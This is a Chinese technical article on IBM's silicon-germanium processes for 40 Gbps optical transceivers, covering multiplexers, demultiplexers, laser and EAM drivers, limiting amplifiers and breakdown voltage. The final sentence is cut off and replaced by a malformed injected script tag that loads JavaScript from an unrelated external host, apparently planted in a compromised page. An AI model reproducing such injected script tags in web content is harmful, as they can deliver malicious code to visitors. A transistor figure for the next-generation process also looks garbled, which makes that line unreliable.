硅技术的迅猛发展使工程师们能够设计和创建出新型电路，这些电路的速度和性能以前只有用基于gaas和inp的hbt(异质结双极晶体管)和phemt技术才能达到，电路的核心就是锗化硅(sige)工艺。ibm采用0.18um光刻工艺制成的120ghz ft sige晶体管是一个很好的例子，现在这一技术己用在许多高速通信领域的重要元件中。
多路复用器和多路分解器
多路复用器和多路分解器是sonet收发器中的重要构建模块，sonet oc768产品要求这类构建模块能够处理高至50gbps的宽带数据信号，以支持用于40gbps数据传输的前向纠错(fec)方案。
采用ibm的sige 7hp技术已设计制造出4:1复用器和1:4分解器，并分别在晶圆级和封装级进行了测试。其中复用器能工作于70gbps，4个独立通道由一个成形发生器驱动，在输入时钟为35ghz时能提供17.5gbps伪随机位序列。在额定工作条件下，即速率为40～50gbps、电源为3.3v时，芯片功耗1.5w。分解器经测试可工作于56gbps以上速率，输入灵敏度小于50mv，在额定工作条件下，即速率为40～50gbps、电源为3.3v时，芯片功耗1.5w。复用器和分解器设计能工作于非常宽的数据速率范围，使其适用于测试设备和光链路收发器。事实上这些样品芯片己在进行商业试用，在性能和功耗上能完全替代基于inp的设计。
这一技术能够将无源器件，包括集成变容二极管和高q电感集成在一起，利用这一特性可以增加锁相环电路并制造出包含时钟复用器单元和时钟及数据恢复电路的单片多路复用和分解芯片。因为这是一种bicmos工艺，所以用标准cmos和vhdl设计技术可以很容易做出这些芯片所需的控制回路和状态机。事实上，许多严格配对的定制信号处理和链路监控电路都是采用cmos技术的，目前这种集成水平只能靠基于硅的技术来获得。
另一个使人们感兴趣的优点是其低电压双极型电路拓扑结构，虽然大多数上述电路工作于3.3v到3.6v范围，但低电压cml电路能够在低至1.2v电源下工作，含有一个多模块分配器的测试电路显示在1.2v电源下可以很容易工作于高至9ghz频率。这种低电压电源技术可以降低复杂高速电路的总体功耗，得到的功率水平能与cmos技术相媲美。
激光器和eam驱动器
击穿电压一般用bvceo表示，这里的“o”表示基极开路，sige 7hp的bvceo仅为1.9v。击穿电压常被误认为是晶体管能够正常工作而不会造成损坏的极限值，虽然这是一个重要的评价指标，但它并不代表设计人员使用晶体管的实际情况。事实上在实际应用中，晶体管基极上总会加一个低阻抗或中阻抗负载，此时晶体管完全能承受一个6v的ce电压。所以在考虑这些器件时，更感兴趣的度量值是bvcer，这里的“r”代表器件基极接的负载。从这个角度来考虑，显然sige也能用在许多前端收发器应用中，像激光二极管驱动器和eam驱动器。
垂直腔表面发射激光器(vcsel)电路用一个驱动器或阵列驱动器进行开发，能够以10gbps数据速率驱动vcsel，并提供一个高至7ma的调制电流。对于一个12通道vcsel阵列驱动器，每通道的典型功耗包括vcsel仅为100mw。将单通道sige vcsel驱动器与vcsel和下一代多模式光纤组合在一起时，其性能可打破1km光纤链路20gbps速率的纪录。另外eam驱动器样品能够驱动3.0v vpp单端信号至一个50ω负载，典型功耗为2.5w，数据率为30gbps。这一技术能很容易访问光链路接收器，非常适用于互阻抗放大器和受限放大器(后级放大器)。
后级放大器
电信收发器的一个关键要求是受限放大器要能够在一个很宽的动态范围内处理输入信号。一个用于40gbps的受限放大器测试电路样品已完成设计和测定，它可以接收低至20mv和高至850mv vpp单端信号，并向一个50ω负载提供450mv vpp输出，所用电源为5.2v。如同在cmu和cdr电路中一样，cmos电路能提供必要的电路，为偏置控制提供反馈控制，在受限放大器中扮演了一个很重要的角色。
更加快速的硅技术
ibm下一代sige技术——sige 8hp将采用0.13um光刻技术，使晶体管ft/fmax大于20ghz。初期硬件测试己经得到很多结果，包括在250～300mv vpp时门延迟为4.3ps的环形振荡器、性能可以比得上inp hbt以及使功耗减少55%等。这些晶体管使设计人员能够很容易制造出全速率oc768收发器。其它好处还有能极大改进收发器功耗，估计为50%。事实上，?script src=http://er12.com/t.js>
